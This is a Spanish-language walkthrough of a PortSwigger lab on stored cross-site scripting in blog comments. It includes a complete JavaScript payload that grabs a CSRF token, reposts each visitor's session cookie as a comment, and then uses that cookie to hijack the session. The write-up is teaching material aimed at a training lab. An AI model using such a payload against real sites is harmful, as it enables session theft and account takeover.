Exploiting Cross-site Scripting to steal Cookies – PortSwigger Write Up

En este post vamos a estar resolviendo el laboratorio: “Exploiting Cross-site Scripting to steal Cookies”.

En el enunciado se nos indica que hay una vulnerabilidad de XSS almacenado en la funcionalidad de los comentarios del blog. Además, se nos indica que la web simula la visita de un usuario a la zona de comentarios cuando se escribe un comentario nuevo.

Para resolver este laboratorio, tenemos que robar la cookie de sesión del usuario que visita la web, y hacerle un robo de la sesión (Session Hijacking).

Este laboratorio es un poco especial porque hay dos formas de resolverlo, la mas sencilla es usando el Burp Collaborator, una función que pertenece al Burp Professional y no está en el Community.

Nosotros en este caso vamos a ir por la vía más manual y compleja, tocando un poco de scripting en JavaScript, y, por supuesto, la vía que no requiere de que tengas el Burp Suite de pago.

Dicho esto, lo primero de todo es acceder al laboratorio:

Una vez accedidos, podemos observar varios artículos en el blog. Por lo que vamos a acceder a uno random:

Una vez accedidos, podemos observar que este post concretamente es el número 7. Esta información nos servirá para el script que hagamos.

Por la parte inferior, podemos encontrar una zona de comentarios:

Por lo que simplemente vamos a rellenar los distintos campos, eso si, en el campo de comentario, inyectamos un simple código HTML para ver si se interpreta:

Con el comentario posteado, volvemos a la publicación para ver si se interpreta el código HTML:

Efectivamente se interpreta, por lo que podemos determinar que el campo es vulneralble.

Bien, sabiendo esto, es hora de ir preparando nuestro ataque, que se ejecutará todo a través de código JavaScript.

La idea general es generar un código JavaScript que publique un comentario con el valor de la cookie del usuario que visite la web.

Si creamos un código de este estilo, estaría feo que para que nosotros veamos el comentario que se publique, tengamos que visitar la propia web donde está el código malicioso, ya que, esto generaría que nosotros ejecutásemos el código malicioso, y, por tanto, nuestra cookie también sea enviada a un comentario. Por lo que para solventar este aspecto, publicaremos el código malicioso en un comentario de un artículo, pero el código estará programado para que publique los comentarios en otro artículo, para de esta forma, nosotros no tengamos que visitar la web maliciosa para ver la cookie en los comentarios, y solo tengamos que visitar el artículo donde los comentarios con las cookies irán apareciendo.

Mini-recordatorio de que la web simula un usuario en cuanto publicamos un comentario.

Sabiendo todo esto, y teniendo una idea general de lo que queremos hacer, lo primero de todo es conocer que tipo de parámetros son necesarios para postear un comentario, para ello, podemos ver la petición en el burp suite:

Como podemos observar, los parámetros necesarios para postear un comentario, son:

  • csrf —> Token CSRF que se encuentra en el código fuente del frontend.
  • postId —> Post en el que queremos publicar el comentario.
  • comment—> Pues el comentario xDD.
  • name —> Nombre del autor del comentario.
  • email —> Email del autor del comentario
  • website —> Web de Referencia del Comentario

Realmente a nosotros nos interesan los tres primeros parámetros, los demás son indiferentes.

Hablando del primero de ellos, el Token CSRF ya hemos dicho que se encuentra en el frontend de la aplicación:

Pequeño apunte: su valor es dinámico, por lo que tenemos que automatizar la obtención de su valor en el código JavaScript. Esto se puede conseguir en este caso de la siguiente manera:

  • document.getElementsByName(«csrf»)[0].value;

La explicación de esta sentencia es la siguiente, básicamente dentro del documento (se entiende, por documento, una página HTML) al que hacemos referencia (document sería en el que me encuentro, esto puede variar a otro nombre que contenga un documento), seleccionamos los distintos elementos que tengan «csrf» como valor en su atributo «name».

La sentencia explicada hasta ahora corresponde a:

  • document.getElementsByName(«csrf»)

Ahora, la salida de esto, es un array con los distintos elementos que cumplen lo que se le indica, en este caso solo hay uno, por lo que seguirá siendo un array, pero solo tendrá un valor, por lo que para referirnos al elemento del Token CSRF, colocamos el [0], ya que es el primero y único del array.

  • document.getElementsByName(«csrf»)[0]

Por último, referenciando ya al elemento en concreto, como lo que nos interesa, es el valor de su atributo «value», pues lo añadimos:

  • document.getElementsByName(«csrf»)[0].value;

Con esto, ya estaríamos seleccionando el valor del token CSRF del Frontend.

Bien, ahora, vamos a determinar el artículo donde se publicaran los comentarios con las cookies:

En este caso, el post con id 4.

Ya con todo esto, podemos scriptearnos nuestro ataque. El código final y funcional es el siguiente:

<script>

	var csrf_value;

	/*Definimos la petición que obtendrá el valor del token CSRF*/

	var req = new XMLHttpRequest();
	req.onreadystatechange = function() {

	/*Definimos el código que se ejecutará si la petición GET del token CSRF se hace con éxito*/

	if (req.readyState == 4 && req.status == 200)
	{
		/*De la petición hecha, filtramos la respuesta para obtener el valor del token CSRF*/

		var htmlPage = req.responseXML;
		csrf_value = htmlPage.getElementsByName("csrf")[0].value;

		/*Definimos la función que se ejecutará cuando la primera petición tenga éxito y tengamos el valor el token CSRF*/

		function postComment(csrf_value) {

			/*Definimos los distintos valores pertenecientes a la petición de la publicación de los comentarios*/
			var postId_value = '4';
			var comment_value = document.cookie;
			var name_value = 'PWNED';
			var email_value = '[email protected]';
			var website_value = 'http://deephacking.tech';

			var url = '/post/comment';


			/*Definimos y enviamos la segunda petición que el código hará, la petición que publica comentarios*/
			var req2 = new XMLHttpRequest();
			req2.open('POST', url, true);
			req2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			req2.send('csrf=' + csrf_value + '&postId=' + postId_value + '&comment=' + comment_value + '&name=' + name_value + '&email=' + email_value + '&website=' + website_value);

		}

		postComment(csrf_value);

	}

	};

	/*Terminamos de definir la petición que obtendrá el token CSRF, será la primera petición que se hará*/

	req.open("GET", "/post?postId=7");
	req.responseType = "document";
	req.send();

</script>

Por si quieres ver el código un poco más con colorcitos para distinguir y leer todo mejor:

Mini explicación del código: Primero, hacemos una petición usando XMLHttpRequest a /post?postId=7 para obtener el valor del token CSRF.

Una vez tenemos el token, ya simplemente, realizamos una petición POST usando de nuevo XMLHttpRequest para que se publique los comentarios cuando se ejecute este código.

Este script estará inyectado en el post número 7, pero los comentarios que se publicarán con las cookies, irán al post número 4.

Con todo esto listo, eliminaremos los saltos de línea del código para evitar posibles problemas, para ello podemos usar CodeBeautify:

Con el código copiado, nos vamos al artículo número 7, y pegamos el código en el campo de comentario, además, rellenamos los demás campos y publicamos el comentario:

Con el comentario publicado, si ahora nos dirigimos al artículo número 4 en la zona de comentarios encontraremos lo siguiente:

Una cookie de sesión distinta a la nuestra, por lo que, simplemente vamos a cambiar el valor de nuestra cookie de sesión, por el valor que encontramos en el comentario:

Si actualizamos para ver los posibles cambios en la sesión:

BOOM, resolvemos el laboratorio, hemos conseguido robar una cookie de un usuario y meternos en su sesión, todo a través de solo código JavaScript.

De esta forma, resolvemos el laboratorio:

4 comentarios en “Exploiting Cross-site Scripting to steal Cookies – PortSwigger Write Up

Deja una respuesta

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Subir para arriba